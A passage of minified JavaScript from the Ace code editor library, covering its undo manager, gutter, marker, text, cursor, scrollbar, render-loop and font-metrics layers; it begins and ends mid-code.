t&&(n=this.$doc.undoChanges(this.$deserializeDeltas(t),e),this.$redoStack.push(t),this.dirtyCounter--),n},this.redo=function(e){var t=this.$redoStack.pop(),n=null;return t&&(n=this.$doc.redoChanges(this.$deserializeDeltas(t),e),this.$undoStack.push(t),this.dirtyCounter++),n},this.reset=function(){this.$undoStack=[],this.$redoStack=[],this.dirtyCounter=0},this.hasUndo=function(){return this.$undoStack.length>0},this.hasRedo=function(){return this.$redoStack.length>0},this.markClean=function(){this.dirtyCounter=0},this.isClean=function(){return this.dirtyCounter===0},this.$serializeDeltas=function(t){return n(t,e)},this.$deserializeDeltas=function(e){return n(e,t)}}).call(r.prototype),t.UndoManager=r}),ace.define(\"ace/layer/gutter\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"../lib/dom\"),i=e(\"../lib/oop\"),s=e(\"../lib/lang\"),o=e(\"../lib/event_emitter\").EventEmitter,u=function(e){this.element=r.createElement(\"div\"),this.element.className=\"ace_layer ace_gutter-layer\",e.appendChild(this.element),this.setShowFoldWidgets(this.$showFoldWidgets),this.gutterWidth=0,this.$annotations=[],this.$updateAnnotations=this.$updateAnnotations.bind(this),this.$cells=[]};(function(){i.implement(this,o),this.setSession=function(e){this.session&&this.session.removeEventListener(\"change\",this.$updateAnnotations),this.session=e,e&&e.on(\"change\",this.$updateAnnotations)},this.addGutterDecoration=function(e,t){window.console&&console.warn&&console.warn(\"deprecated use session.addGutterDecoration\"),this.session.addGutterDecoration(e,t)},this.removeGutterDecoration=function(e,t){window.console&&console.warn&&console.warn(\"deprecated use session.removeGutterDecoration\"),this.session.removeGutterDecoration(e,t)},this.setAnnotations=function(e){this.$annotations=[];for(var t=0;t<e.length;t++){var n=e[t],r=n.row,i=this.$annotations[r];i||(i=this.$annotations[r]={text:[]});var o=n.text;o=o?s.escapeHTML(o):n.html||\"\",i.text.indexOf(o)===-1&&i.text.push(o);var u=n.type;u==\"error\"?i.className=\" ace_error\":u==\"warning\"&&i.className!=\" ace_error\"?i.className=\" ace_warning\":u==\"info\"&&!i.className&&(i.className=\" ace_info\")}},this.$updateAnnotations=function(e){if(!this.$annotations.length)return;var t=e.start.row,n=e.end.row-t;if(n!==0)if(e.action==\"remove\")this.$annotations.splice(t,n+1,null);else{var r=new Array(n+1);r.unshift(t,1),this.$annotations.splice.apply(this.$annotations,r)}},this.update=function(e){var t=this.session,n=e.firstRow,i=Math.min(e.lastRow+e.gutterOffset,t.getLength()-1),s=t.getNextFoldLine(n),o=s?s.start.row:Infinity,u=this.$showFoldWidgets&&t.foldWidgets,a=t.$breakpoints,f=t.$decorations,l=t.$firstLineNumber,c=0,h=t.gutterRenderer||this.$renderer,p=null,d=-1,v=n;for(;;){v>o&&(v=s.end.row+1,s=t.getNextFoldLine(v,s),o=s?s.start.row:Infinity);if(v>i){while(this.$cells.length>d+1)p=this.$cells.pop(),this.element.removeChild(p.element);break}p=this.$cells[++d],p||(p={element:null,textNode:null,foldWidget:null},p.element=r.createElement(\"div\"),p.textNode=document.createTextNode(\"\"),p.element.appendChild(p.textNode),this.element.appendChild(p.element),this.$cells[d]=p);var m=\"ace_gutter-cell \";a[v]&&(m+=a[v]),f[v]&&(m+=f[v]),this.$annotations[v]&&(m+=this.$annotations[v].className),p.element.className!=m&&(p.element.className=m);var g=t.getRowLength(v)*e.lineHeight+\"px\";g!=p.element.style.height&&(p.element.style.height=g);if(u){var y=u[v];y==null&&(y=u[v]=t.getFoldWidget(v))}if(y){p.foldWidget||(p.foldWidget=r.createElement(\"span\"),p.element.appendChild(p.foldWidget));var m=\"ace_fold-widget ace_\"+y;y==\"start\"&&v==o&&v<s.end.row?m+=\" ace_closed\":m+=\" ace_open\",p.foldWidget.className!=m&&(p.foldWidget.className=m);var g=e.lineHeight+\"px\";p.foldWidget.style.height!=g&&(p.foldWidget.style.height=g)}else p.foldWidget&&(p.element.removeChild(p.foldWidget),p.foldWidget=null);var b=c=h?h.getText(t,v):v+l;b!=p.textNode.data&&(p.textNode.data=b),v++}this.element.style.height=e.minHeight+\"px\";if(this.$fixedWidth||t.$useWrapMode)c=t.getLength()+l;var w=h?h.getWidth(t,c,e):c.toString().length*e.characterWidth,E=this.$padding||this.$computePadding();w+=E.left+E.right,w!==this.gutterWidth&&!isNaN(w)&&(this.gutterWidth=w,this.element.style.width=Math.ceil(this.gutterWidth)+\"px\",this._emit(\"changeGutterWidth\",w))},this.$fixedWidth=!1,this.$showLineNumbers=!0,this.$renderer=\"\",this.setShowLineNumbers=function(e){this.$renderer=!e&&{getWidth:function(){return\"\"},getText:function(){return\"\"}}},this.getShowLineNumbers=function(){return this.$showLineNumbers},this.$showFoldWidgets=!0,this.setShowFoldWidgets=function(e){e?r.addCssClass(this.element,\"ace_folding-enabled\"):r.removeCssClass(this.element,\"ace_folding-enabled\"),this.$showFoldWidgets=e,this.$padding=null},this.getShowFoldWidgets=function(){return this.$showFoldWidgets},this.$computePadding=function(){if(!this.element.firstChild)return{left:0,right:0};var e=r.computedStyle(this.element.firstChild);return this.$padding={},this.$padding.left=parseInt(e.paddingLeft)+1||0,this.$padding.right=parseInt(e.paddingRight)||0,this.$padding},this.getRegion=function(e){var t=this.$padding||this.$computePadding(),n=this.element.getBoundingClientRect();if(e.x<t.left+n.left)return\"markers\";if(this.$showFoldWidgets&&e.x>n.right-t.right)return\"foldWidgets\"}}).call(u.prototype),t.Gutter=u}),ace.define(\"ace/layer/marker\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../lib/dom\"),s=function(e){this.element=i.createElement(\"div\"),this.element.className=\"ace_layer ace_marker-layer\",e.appendChild(this.element)};(function(){function e(e,t,n,r){return(e?1:0)|(t?2:0)|(n?4:0)|(r?8:0)}this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setMarkers=function(e){this.markers=e},this.update=function(e){var e=e||this.config;if(!e)return;this.config=e;var t=[];for(var n in this.markers){var r=this.markers[n];if(!r.range){r.update(t,this,this.session,e);continue}var i=r.range.clipRows(e.firstRow,e.lastRow);if(i.isEmpty())continue;i=i.toScreenRange(this.session);if(r.renderer){var s=this.$getTop(i.start.row,e),o=this.$padding+i.start.column*e.characterWidth;r.renderer(t,i,o,s,e)}else r.type==\"fullLine\"?this.drawFullLineMarker(t,i,r.clazz,e):r.type==\"screenLine\"?this.drawScreenLineMarker(t,i,r.clazz,e):i.isMultiLine()?r.type==\"text\"?this.drawTextMarker(t,i,r.clazz,e):this.drawMultiLineMarker(t,i,r.clazz,e):this.drawSingleLineMarker(t,i,r.clazz+\" ace_start\"+\" ace_br15\",e)}this.element.innerHTML=t.join(\"\")},this.$getTop=function(e,t){return(e-t.firstRowScreen)*t.lineHeight},this.drawTextMarker=function(t,n,i,s,o){var u=this.session,a=n.start.row,f=n.end.row,l=a,c=0,h=0,p=u.getScreenLastRowColumn(l),d=new r(l,n.start.column,l,h);for(;l<=f;l++)d.start.row=d.end.row=l,d.start.column=l==a?n.start.column:u.getRowWrapIndent(l),d.end.column=p,c=h,h=p,p=l+1<f?u.getScreenLastRowColumn(l+1):l==f?0:n.end.column,this.drawSingleLineMarker(t,d,i+(l==a?\" ace_start\":\"\")+\" ace_br\"+e(l==a||l==a+1&&n.start.column,c<h,h>p,l==f),s,l==f?0:1,o)},this.drawMultiLineMarker=function(e,t,n,r,i){var s=this.$padding,o=r.lineHeight,u=this.$getTop(t.start.row,r),a=s+t.start.column*r.characterWidth;i=i||\"\",e.push(\"<div class='\",n,\" ace_br1 ace_start' style='\",\"height:\",o,\"px;\",\"right:0;\",\"top:\",u,\"px;\",\"left:\",a,\"px;\",i,\"'></div>\"),u=this.$getTop(t.end.row,r);var f=t.end.column*r.characterWidth;e.push(\"<div class='\",n,\" ace_br12' style='\",\"height:\",o,\"px;\",\"width:\",f,\"px;\",\"top:\",u,\"px;\",\"left:\",s,\"px;\",i,\"'></div>\"),o=(t.end.row-t.start.row-1)*r.lineHeight;if(o<=0)return;u=this.$getTop(t.start.row+1,r);var l=(t.start.column?1:0)|(t.end.column?0:8);e.push(\"<div class='\",n,l?\" ace_br\"+l:\"\",\"' style='\",\"height:\",o,\"px;\",\"right:0;\",\"top:\",u,\"px;\",\"left:\",s,\"px;\",i,\"'></div>\")},this.drawSingleLineMarker=function(e,t,n,r,i,s){var o=r.lineHeight,u=(t.end.column+(i||0)-t.start.column)*r.characterWidth,a=this.$getTop(t.start.row,r),f=this.$padding+t.start.column*r.characterWidth;e.push(\"<div class='\",n,\"' style='\",\"height:\",o,\"px;\",\"width:\",u,\"px;\",\"top:\",a,\"px;\",\"left:\",f,\"px;\",s||\"\",\"'></div>\")},this.drawFullLineMarker=function(e,t,n,r,i){var s=this.$getTop(t.start.row,r),o=r.lineHeight;t.start.row!=t.end.row&&(o+=this.$getTop(t.end.row,r)-s),e.push(\"<div class='\",n,\"' style='\",\"height:\",o,\"px;\",\"top:\",s,\"px;\",\"left:0;right:0;\",i||\"\",\"'></div>\")},this.drawScreenLineMarker=function(e,t,n,r,i){var s=this.$getTop(t.start.row,r),o=r.lineHeight;e.push(\"<div class='\",n,\"' style='\",\"height:\",o,\"px;\",\"top:\",s,\"px;\",\"left:0;right:0;\",i||\"\",\"'></div>\")}}).call(s.prototype),t.Marker=s}),ace.define(\"ace/layer/text\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/lib/lang\",\"ace/lib/useragent\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/dom\"),s=e(\"../lib/lang\"),o=e(\"../lib/useragent\"),u=e(\"../lib/event_emitter\").EventEmitter,a=function(e){this.element=i.createElement(\"div\"),this.element.className=\"ace_layer ace_text-layer\",e.appendChild(this.element),this.$updateEolChar=this.$updateEolChar.bind(this)};(function(){r.implement(this,u),this.EOF_CHAR=\"\\u00b6\",this.EOL_CHAR_LF=\"\\u00ac\",this.EOL_CHAR_CRLF=\"\\u00a4\",this.EOL_CHAR=this.EOL_CHAR_LF,this.TAB_CHAR=\"\\u2014\",this.SPACE_CHAR=\"\\u00b7\",this.$padding=0,this.$updateEolChar=function(){var e=this.session.doc.getNewLineCharacter()==\"\\n\"?this.EOL_CHAR_LF:this.EOL_CHAR_CRLF;if(this.EOL_CHAR!=e)return this.EOL_CHAR=e,!0},this.setPadding=function(e){this.$padding=e,this.element.style.padding=\"0 \"+e+\"px\"},this.getLineHeight=function(){return this.$fontMetrics.$characterSize.height||0},this.getCharacterWidth=function(){return this.$fontMetrics.$characterSize.width||0},this.$setFontMetrics=function(e){this.$fontMetrics=e,this.$fontMetrics.on(\"changeCharacterSize\",function(e){this._signal(\"changeCharacterSize\",e)}.bind(this)),this.$pollSizeChanges()},this.checkForSizeChanges=function(){this.$fontMetrics.checkForSizeChanges()},this.$pollSizeChanges=function(){return this.$pollSizeChangesTimer=this.$fontMetrics.$pollSizeChanges()},this.setSession=function(e){this.session=e,e&&this.$computeTabString()},this.showInvisibles=!1,this.setShowInvisibles=function(e){return this.showInvisibles==e?!1:(this.showInvisibles=e,this.$computeTabString(),!0)},this.displayIndentGuides=!0,this.setDisplayIndentGuides=function(e){return this.displayIndentGuides==e?!1:(this.displayIndentGuides=e,this.$computeTabString(),!0)},this.$tabStrings=[],this.onChangeTabSize=this.$computeTabString=function(){var e=this.session.getTabSize();this.tabSize=e;var t=this.$tabStrings=[0];for(var n=1;n<e+1;n++)this.showInvisibles?t.push(\"<span class='ace_invisible ace_invisible_tab'>\"+s.stringRepeat(this.TAB_CHAR,n)+\"</span>\"):t.push(s.stringRepeat(\" \",n));if(this.displayIndentGuides){this.$indentGuideRe=/\\s\\S| \\t|\\t |\\s$/;var r=\"ace_indent-guide\",i=\"\",o=\"\";if(this.showInvisibles){r+=\" ace_invisible\",i=\" ace_invisible_space\",o=\" ace_invisible_tab\";var u=s.stringRepeat(this.SPACE_CHAR,this.tabSize),a=s.stringRepeat(this.TAB_CHAR,this.tabSize)}else var u=s.stringRepeat(\" \",this.tabSize),a=u;this.$tabStrings[\" \"]=\"<span class='\"+r+i+\"'>\"+u+\"</span>\",this.$tabStrings[\"\t\"]=\"<span class='\"+r+o+\"'>\"+a+\"</span>\"}},this.updateLines=function(e,t,n){(this.config.lastRow!=e.lastRow||this.config.firstRow!=e.firstRow)&&this.scrollLines(e),this.config=e;var r=Math.max(t,e.firstRow),i=Math.min(n,e.lastRow),s=this.element.childNodes,o=0;for(var u=e.firstRow;u<r;u++){var a=this.session.getFoldLine(u);if(a){if(a.containsRow(r)){r=a.start.row;break}u=a.end.row}o++}var u=r,a=this.session.getNextFoldLine(u),f=a?a.start.row:Infinity;for(;;){u>f&&(u=a.end.row+1,a=this.session.getNextFoldLine(u,a),f=a?a.start.row:Infinity);if(u>i)break;var l=s[o++];if(l){var c=[];this.$renderLine(c,u,!this.$useLineGroups(),u==f?a:!1),l.style.height=e.lineHeight*this.session.getRowLength(u)+\"px\",l.innerHTML=c.join(\"\")}u++}},this.scrollLines=function(e){var t=this.config;this.config=e;if(!t||t.lastRow<e.firstRow)return this.update(e);if(e.lastRow<t.firstRow)return this.update(e);var n=this.element;if(t.firstRow<e.firstRow)for(var r=this.session.getFoldedRowCount(t.firstRow,e.firstRow-1);r>0;r--)n.removeChild(n.firstChild);if(t.lastRow>e.lastRow)for(var r=this.session.getFoldedRowCount(e.lastRow+1,t.lastRow);r>0;r--)n.removeChild(n.lastChild);if(e.firstRow<t.firstRow){var i=this.$renderLinesFragment(e,e.firstRow,t.firstRow-1);n.firstChild?n.insertBefore(i,n.firstChild):n.appendChild(i)}if(e.lastRow>t.lastRow){var i=this.$renderLinesFragment(e,t.lastRow+1,e.lastRow);n.appendChild(i)}},this.$renderLinesFragment=function(e,t,n){var r=this.element.ownerDocument.createDocumentFragment(),s=t,o=this.session.getNextFoldLine(s),u=o?o.start.row:Infinity;for(;;){s>u&&(s=o.end.row+1,o=this.session.getNextFoldLine(s,o),u=o?o.start.row:Infinity);if(s>n)break;var a=i.createElement(\"div\"),f=[];this.$renderLine(f,s,!1,s==u?o:!1),a.innerHTML=f.join(\"\");if(this.$useLineGroups())a.className=\"ace_line_group\",r.appendChild(a),a.style.height=e.lineHeight*this.session.getRowLength(s)+\"px\";else while(a.firstChild)r.appendChild(a.firstChild);s++}return r},this.update=function(e){this.config=e;var t=[],n=e.firstRow,r=e.lastRow,i=n,s=this.session.getNextFoldLine(i),o=s?s.start.row:Infinity;for(;;){i>o&&(i=s.end.row+1,s=this.session.getNextFoldLine(i,s),o=s?s.start.row:Infinity);if(i>r)break;this.$useLineGroups()&&t.push(\"<div class='ace_line_group' style='height:\",e.lineHeight*this.session.getRowLength(i),\"px'>\"),this.$renderLine(t,i,!1,i==o?s:!1),this.$useLineGroups()&&t.push(\"</div>\"),i++}this.element.innerHTML=t.join(\"\")},this.$textToken={text:!0,rparen:!0,lparen:!0},this.$renderToken=function(e,t,n,r){var i=this,o=/\\t|&|<|>|( +)|([\\x00-\\x1f\\x80-\\xa0\\xad\\u1680\\u180E\\u2000-\\u200f\\u2028\\u2029\\u202F\\u205F\\u3000\\uFEFF])|[\\u1100-\\u115F\\u11A3-\\u11A7\\u11FA-\\u11FF\\u2329-\\u232A\\u2E80-\\u2E99\\u2E9B-\\u2EF3\\u2F00-\\u2FD5\\u2FF0-\\u2FFB\\u3000-\\u303E\\u3041-\\u3096\\u3099-\\u30FF\\u3105-\\u312D\\u3131-\\u318E\\u3190-\\u31BA\\u31C0-\\u31E3\\u31F0-\\u321E\\u3220-\\u3247\\u3250-\\u32FE\\u3300-\\u4DBF\\u4E00-\\uA48C\\uA490-\\uA4C6\\uA960-\\uA97C\\uAC00-\\uD7A3\\uD7B0-\\uD7C6\\uD7CB-\\uD7FB\\uF900-\\uFAFF\\uFE10-\\uFE19\\uFE30-\\uFE52\\uFE54-\\uFE66\\uFE68-\\uFE6B\\uFF01-\\uFF60\\uFFE0-\\uFFE6]/g,u=function(e,n,r,o,u){if(n)return i.showInvisibles?\"<span class='ace_invisible ace_invisible_space'>\"+s.stringRepeat(i.SPACE_CHAR,e.length)+\"</span>\":e;if(e==\"&\")return\"&#38;\";if(e==\"<\")return\"&#60;\";if(e==\">\")return\"&#62;\";if(e==\"\t\"){var a=i.session.getScreenTabSize(t+o);return t+=a-1,i.$tabStrings[a]}if(e==\"\\u3000\"){var f=i.showInvisibles?\"ace_cjk ace_invisible ace_invisible_space\":\"ace_cjk\",l=i.showInvisibles?i.SPACE_CHAR:\"\";return t+=1,\"<span class='\"+f+\"' style='width:\"+i.config.characterWidth*2+\"px'>\"+l+\"</span>\"}return r?\"<span class='ace_invisible ace_invisible_space ace_invalid'>\"+i.SPACE_CHAR+\"</span>\":(t+=1,\"<span class='ace_cjk' style='width:\"+i.config.characterWidth*2+\"px'>\"+e+\"</span>\")},a=r.replace(o,u);if(!this.$textToken[n.type]){var f=\"ace_\"+n.type.replace(/\\./g,\" ace_\"),l=\"\";n.type==\"fold\"&&(l=\" style='width:\"+n.value.length*this.config.characterWidth+\"px;' \"),e.push(\"<span class='\",f,\"'\",l,\">\",a,\"</span>\")}else e.push(a);return t+r.length},this.renderIndentGuide=function(e,t,n){var r=t.search(this.$indentGuideRe);return r<=0||r>=n?t:t[0]==\" \"?(r-=r%this.tabSize,e.push(s.stringRepeat(this.$tabStrings[\" \"],r/this.tabSize)),t.substr(r)):t[0]==\"\t\"?(e.push(s.stringRepeat(this.$tabStrings[\"\t\"],r)),t.substr(r)):t},this.$renderWrappedLine=function(e,t,n,r){var i=0,o=0,u=n[0],a=0;for(var f=0;f<t.length;f++){var l=t[f],c=l.value;if(f==0&&this.displayIndentGuides){i=c.length,c=this.renderIndentGuide(e,c,u);if(!c)continue;i-=c.length}if(i+c.length<u)a=this.$renderToken(e,a,l,c),i+=c.length;else{while(i+c.length>=u)a=this.$renderToken(e,a,l,c.substring(0,u-i)),c=c.substring(u-i),i=u,r||e.push(\"</div>\",\"<div class='ace_line' style='height:\",this.config.lineHeight,\"px'>\"),e.push(s.stringRepeat(\"\\u00a0\",n.indent)),o++,a=0,u=n[o]||Number.MAX_VALUE;c.length!=0&&(i+=c.length,a=this.$renderToken(e,a,l,c))}}},this.$renderSimpleLine=function(e,t){var n=0,r=t[0],i=r.value;this.displayIndentGuides&&(i=this.renderIndentGuide(e,i)),i&&(n=this.$renderToken(e,n,r,i));for(var s=1;s<t.length;s++)r=t[s],i=r.value,n=this.$renderToken(e,n,r,i)},this.$renderLine=function(e,t,n,r){!r&&r!=0&&(r=this.session.getFoldLine(t));if(r)var i=this.$getFoldLineTokens(t,r);else var i=this.session.getTokens(t);n||e.push(\"<div class='ace_line' style='height:\",this.config.lineHeight*(this.$useLineGroups()?1:this.session.getRowLength(t)),\"px'>\");if(i.length){var s=this.session.getRowSplitData(t);s&&s.length?this.$renderWrappedLine(e,i,s,n):this.$renderSimpleLine(e,i)}this.showInvisibles&&(r&&(t=r.end.row),e.push(\"<span class='ace_invisible ace_invisible_eol'>\",t==this.session.getLength()-1?this.EOF_CHAR:this.EOL_CHAR,\"</span>\")),n||e.push(\"</div>\")},this.$getFoldLineTokens=function(e,t){function i(e,t,n){var i=0,s=0;while(s+e[i].value.length<t){s+=e[i].value.length,i++;if(i==e.length)return}if(s!=t){var o=e[i].value.substring(t-s);o.length>n-t&&(o=o.substring(0,n-t)),r.push({type:e[i].type,value:o}),s=t+o.length,i+=1}while(s<n&&i<e.length){var o=e[i].value;o.length+s>n?r.push({type:e[i].type,value:o.substring(0,n-s)}):r.push(e[i]),s+=o.length,i+=1}}var n=this.session,r=[],s=n.getTokens(e);return t.walk(function(e,t,o,u,a){e!=null?r.push({type:\"fold\",value:e}):(a&&(s=n.getTokens(t)),s.length&&i(s,u,o))},t.end.row,this.session.getLine(t.end.row).length),r},this.$useLineGroups=function(){return this.session.getUseWrapMode()},this.destroy=function(){clearInterval(this.$pollSizeChangesTimer),this.$measureNode&&this.$measureNode.parentNode.removeChild(this.$measureNode),delete this.$measureNode}}).call(a.prototype),t.Text=a}),ace.define(\"ace/layer/cursor\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../lib/dom\"),i,s=function(e){this.element=r.createElement(\"div\"),this.element.className=\"ace_layer ace_cursor-layer\",e.appendChild(this.element),i===undefined&&(i=!(\"opacity\"in this.element.style)),this.isVisible=!1,this.isBlinking=!0,this.blinkInterval=1e3,this.smoothBlinking=!1,this.cursors=[],this.cursor=this.addCursor(),r.addCssClass(this.element,\"ace_hidden-cursors\"),this.$updateCursors=(i?this.$updateVisibility:this.$updateOpacity).bind(this)};(function(){this.$updateVisibility=function(e){var t=this.cursors;for(var n=t.length;n--;)t[n].style.visibility=e?\"\":\"hidden\"},this.$updateOpacity=function(e){var t=this.cursors;for(var n=t.length;n--;)t[n].style.opacity=e?\"\":\"0\"},this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setBlinking=function(e){e!=this.isBlinking&&(this.isBlinking=e,this.restartTimer())},this.setBlinkInterval=function(e){e!=this.blinkInterval&&(this.blinkInterval=e,this.restartTimer())},this.setSmoothBlinking=function(e){e!=this.smoothBlinking&&!i&&(this.smoothBlinking=e,r.setCssClass(this.element,\"ace_smooth-blinking\",e),this.$updateCursors(!0),this.$updateCursors=this.$updateOpacity.bind(this),this.restartTimer())},this.addCursor=function(){var e=r.createElement(\"div\");return e.className=\"ace_cursor\",this.element.appendChild(e),this.cursors.push(e),e},this.removeCursor=function(){if(this.cursors.length>1){var e=this.cursors.pop();return e.parentNode.removeChild(e),e}},this.hideCursor=function(){this.isVisible=!1,r.addCssClass(this.element,\"ace_hidden-cursors\"),this.restartTimer()},this.showCursor=function(){this.isVisible=!0,r.removeCssClass(this.element,\"ace_hidden-cursors\"),this.restartTimer()},this.restartTimer=function(){var e=this.$updateCursors;clearInterval(this.intervalId),clearTimeout(this.timeoutId),this.smoothBlinking&&r.removeCssClass(this.element,\"ace_smooth-blinking\"),e(!0);if(!this.isBlinking||!this.blinkInterval||!this.isVisible)return;this.smoothBlinking&&setTimeout(function(){r.addCssClass(this.element,\"ace_smooth-blinking\")}.bind(this));var t=function(){this.timeoutId=setTimeout(function(){e(!1)},.6*this.blinkInterval)}.bind(this);this.intervalId=setInterval(function(){e(!0),t()},this.blinkInterval),t()},this.getPixelPosition=function(e,t){if(!this.config||!this.session)return{left:0,top:0};e||(e=this.session.selection.getCursor());var n=this.session.documentToScreenPosition(e),r=this.$padding+n.column*this.config.characterWidth,i=(n.row-(t?this.config.firstRowScreen:0))*this.config.lineHeight;return{left:r,top:i}},this.update=function(e){this.config=e;var t=this.session.$selectionMarkers,n=0,r=0;if(t===undefined||t.length===0)t=[{cursor:null}];for(var n=0,i=t.length;n<i;n++){var s=this.getPixelPosition(t[n].cursor,!0);if((s.top>e.height+e.offset||s.top<0)&&n>1)continue;var o=(this.cursors[r++]||this.addCursor()).style;this.drawCursor?this.drawCursor(o,s,e,t[n],this.session):(o.left=s.left+\"px\",o.top=s.top+\"px\",o.width=e.characterWidth+\"px\",o.height=e.lineHeight+\"px\")}while(this.cursors.length>r)this.removeCursor();var u=this.session.getOverwrite();this.$setOverwrite(u),this.$pixelPos=s,this.restartTimer()},this.drawCursor=null,this.$setOverwrite=function(e){e!=this.overwrite&&(this.overwrite=e,e?r.addCssClass(this.element,\"ace_overwrite-cursors\"):r.removeCssClass(this.element,\"ace_overwrite-cursors\"))},this.destroy=function(){clearInterval(this.intervalId),clearTimeout(this.timeoutId)}}).call(s.prototype),t.Cursor=s}),ace.define(\"ace/scrollbar\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/lib/event\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/dom\"),s=e(\"./lib/event\"),o=e(\"./lib/event_emitter\").EventEmitter,u=function(e){this.element=i.createElement(\"div\"),this.element.className=\"ace_scrollbar ace_scrollbar\"+this.classSuffix,this.inner=i.createElement(\"div\"),this.inner.className=\"ace_scrollbar-inner\",this.element.appendChild(this.inner),e.appendChild(this.element),this.setVisible(!1),this.skipEvent=!1,s.addListener(this.element,\"scroll\",this.onScroll.bind(this)),s.addListener(this.element,\"mousedown\",s.preventDefault)};(function(){r.implement(this,o),this.setVisible=function(e){this.element.style.display=e?\"\":\"none\",this.isVisible=e}}).call(u.prototype);var a=function(e,t){u.call(this,e),this.scrollTop=0,t.$scrollbarWidth=this.width=i.scrollbarWidth(e.ownerDocument),this.inner.style.width=this.element.style.width=(this.width||15)+5+\"px\"};r.inherits(a,u),function(){this.classSuffix=\"-v\",this.onScroll=function(){this.skipEvent||(this.scrollTop=this.element.scrollTop,this._emit(\"scroll\",{data:this.scrollTop})),this.skipEvent=!1},this.getWidth=function(){return this.isVisible?this.width:0},this.setHeight=function(e){this.element.style.height=e+\"px\"},this.setInnerHeight=function(e){this.inner.style.height=e+\"px\"},this.setScrollHeight=function(e){this.inner.style.height=e+\"px\"},this.setScrollTop=function(e){this.scrollTop!=e&&(this.skipEvent=!0,this.scrollTop=this.element.scrollTop=e)}}.call(a.prototype);var f=function(e,t){u.call(this,e),this.scrollLeft=0,this.height=t.$scrollbarWidth,this.inner.style.height=this.element.style.height=(this.height||15)+5+\"px\"};r.inherits(f,u),function(){this.classSuffix=\"-h\",this.onScroll=function(){this.skipEvent||(this.scrollLeft=this.element.scrollLeft,this._emit(\"scroll\",{data:this.scrollLeft})),this.skipEvent=!1},this.getHeight=function(){return this.isVisible?this.height:0},this.setWidth=function(e){this.element.style.width=e+\"px\"},this.setInnerWidth=function(e){this.inner.style.width=e+\"px\"},this.setScrollWidth=function(e){this.inner.style.width=e+\"px\"},this.setScrollLeft=function(e){this.scrollLeft!=e&&(this.skipEvent=!0,this.scrollLeft=this.element.scrollLeft=e)}}.call(f.prototype),t.ScrollBar=a,t.ScrollBarV=a,t.ScrollBarH=f,t.VScrollBar=a,t.HScrollBar=f}),ace.define(\"ace/renderloop\",[\"require\",\"exports\",\"module\",\"ace/lib/event\"],function(e,t,n){\"use strict\";var r=e(\"./lib/event\"),i=function(e,t){this.onRender=e,this.pending=!1,this.changes=0,this.window=t||window};(function(){this.schedule=function(e){this.changes=this.changes|e;if(!this.pending&&this.changes){this.pending=!0;var t=this;r.nextFrame(function(){t.pending=!1;var e;while(e=t.changes)t.changes=0,t.onRender(e)},this.window)}}}).call(i.prototype),t.RenderLoop=i}),ace.define(\"ace/layer/font_metrics\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/lib/lang\",\"ace/lib/useragent\",\"ace/lib/event_emitter\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/dom\"),s=e(\"../lib/lang\"),o=e(\"../lib/useragent\"),u=e(\"../lib/event_emitter\").EventEmitter,a=0,f=t.FontMetrics=function(e,t){this.el=i.createElement(\"div\"),this.$setMeasureNodeStyles(this.el.style,!0),this.$main=i.createElement(\"div\"),this.$setMeasureNodeStyles(this.$main.style),this.$measureNode=i.createElement(\"div\"),this.$setMeasureNodeStyles(this.$measureNode.style),this.el.appendChild(this.$main),this.el.appendChild(this.$measureNode),e.appendChild(this.el),a||this.$testFractionalRect(),this.$measureNode.innerHTML=s.stringRepeat(\"X\",a),this.$characterSize={width:0,height:0},this.checkForSizeChanges()};(function(){r.implement(this,u),this.$characterSize={width:0,height:0},this.$testFractionalRect=function(){var e=i.createElement(\"div\");this.$setMeasureNodeStyles(e.style),e.style.width=\"0.2px\",document.documentElement.appendChild(e);var t=e.getBoundingClientRect().width;t>0&&t<1?a=50:a=100,e.parentNode.removeChild(e)},this.$setMeasureNodeStyles=function(e,t){e.width=e.height=\"auto\",e.left=e.top=\"0px\",e.visibility=\"hidden\",e.position=\"absolute\",e.whiteSpace=\"pre\",o.isIE<8?e[\"font-family\"]=\"inherit\":e.font=\"inherit\",e.overflow=t?\"hidden\":\"visible\"},this.checkForSizeChanges=function(){var e=this.$measureSizes();if(e&&(this.$characterSize.width!==e.width||this.$characterSize.height!==e.height)){this.$measureNode.style.fontWeight=\"bold\";var t=this.$measureSizes();this.$measureNode.style.fontWeight=\"\",this.$characterSize=e,this.charSizes=Object.create(null),this.allowBoldFonts=t&&t.width===e.width&&t.height===e.height,this._emit(\"changeCharacterSize\",{data:e})}},this.$pollSizeChanges=function(){if(this.$pollSizeChangesTimer)return this.$pollSizeChangesTimer;var e=this;return this.$pollSizeChangesTimer=setInterval(function(){e.checkForSizeChanges()},500)},this.setPolling=function(e){e?this.$pollSizeChanges():this.$pollSizeChangesTimer&&(clearInterval(this.$pollSizeChangesTimer),this.$pollSizeChangesTimer=0)},this.$measureSizes=function(){if(a===50){var e=null;try{e=this.$measureNode.getBoundingClientRect()}catch(t){e={width:0,height:0}}var n={height:e.height,width:e.width/a}}else var n={height:this.$measureNode.clientHeight,width:this.$measureNode.clientWidth/a};return n.width===0||n.height===0?null:n},this.$measureCharWidth=function(e){this.$main.innerHTML=s.stringRepeat(e,a);var t=this.$main.getBoundingClientRect();return t.width/a},this.getCharacterWidth=function(e){var t=this.charSizes[e];return 